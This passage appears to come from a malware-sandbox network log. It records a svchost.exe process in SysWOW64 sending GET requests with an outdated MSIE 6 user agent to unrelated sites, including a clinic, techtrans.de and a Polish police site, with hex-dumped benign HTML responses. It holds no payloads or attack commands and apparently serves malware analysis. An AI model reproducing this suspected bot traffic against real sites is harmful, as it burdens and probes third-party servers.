Ascii: href="/index.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fa
2023-07-27 19:54:33 UTC	5752	IN	Data Raw: 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 Data Ascii: enu-item-type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educaci
2023-07-27 19:54:33 UTC	5754	IN	Data Raw: 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 Data Ascii: enu-item-title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-it
2023-07-27 19:54:33 UTC	5755	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d Data Ascii: n class="g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class=
2023-07-27 19:54:33 UTC	5756	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c Data Ascii: class="g-menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div><
2023-07-27 19:54:33 UTC	5758	IN	Data Raw: 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d Data Ascii: </div> </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}
2023-07-27 19:54:33 UTC	5759	IN	Data Raw: 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 Data Ascii: c, fade or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,
2023-07-27 19:54:33 UTC	5760	IN	Data Raw: 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e Data Ascii: lay = "none";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/n
2023-07-27 19:54:33 UTC	5762	IN	Data Raw: 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b Data Ascii: lock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock
2023-07-27 19:54:33 UTC	5763	IN	Data Raw: 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 Data Ascii: ages/rocketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div
2023-07-27 19:54:33 UTC	5764	IN	Data Raw: 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a Data Ascii: pg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure>
2023-07-27 19:54:33 UTC	5766	IN	Data Raw: 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f Data Ascii: /div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></
2023-07-27 19:54:33 UTC	5767	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c Data Ascii: div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div><
2023-07-27 19:54:33 UTC	5768	IN	Data Raw: 3c 2f 61 3e 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 43 6f 6e 73 75 6c 74 61 20 45 78 74 65 72 6e 61 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 33 2d 20 4f 70 63 69 c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e Data Ascii: </a></br><br></br><strong>Citas Consulta Externa: <p>6076430023- Opcin 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>
2023-07-27 19:54:33 UTC	5770	IN	Data Raw: 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 20 67 2d 63 6f 6e 74 61 63 74 2d 63 6f 6d 70 61 63 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 Data Ascii: <div class="g-contact g-contact-compact"><div class="g-contact-item"><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor
2023-07-27 19:54:33 UTC	5771	IN	Data Raw: 63 74 69 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 70 79 72 69 67 68 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f Data Ascii: ction></div></div></div></section><section id="g-copyright"><div class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-lo
2023-07-27 19:54:33 UTC	5772	IN	Data Raw: 35 30 36 0d 0a 63 69 61 6c 2d 74 65 78 74 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e Data Ascii: 506cial-text"></span></a></div></div></div></div></div></section></div><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main
2023-07-27 19:54:33 UTC	5773	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	21231	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:33 UTC	5739	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:54:33 UTC	5739	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:54:33 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:54:33 UTC	5739	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	21253	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:33 UTC	5740	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-07-27 19:54:33 UTC	5774	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-07-27 19:54:33 UTC	5774	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-07-27 19:54:33 UTC	5790	IN	Data Raw: 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 0d 0a 32 30 30 30 0d 0a 65 6e 74 20 20 2d 2d 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 Data 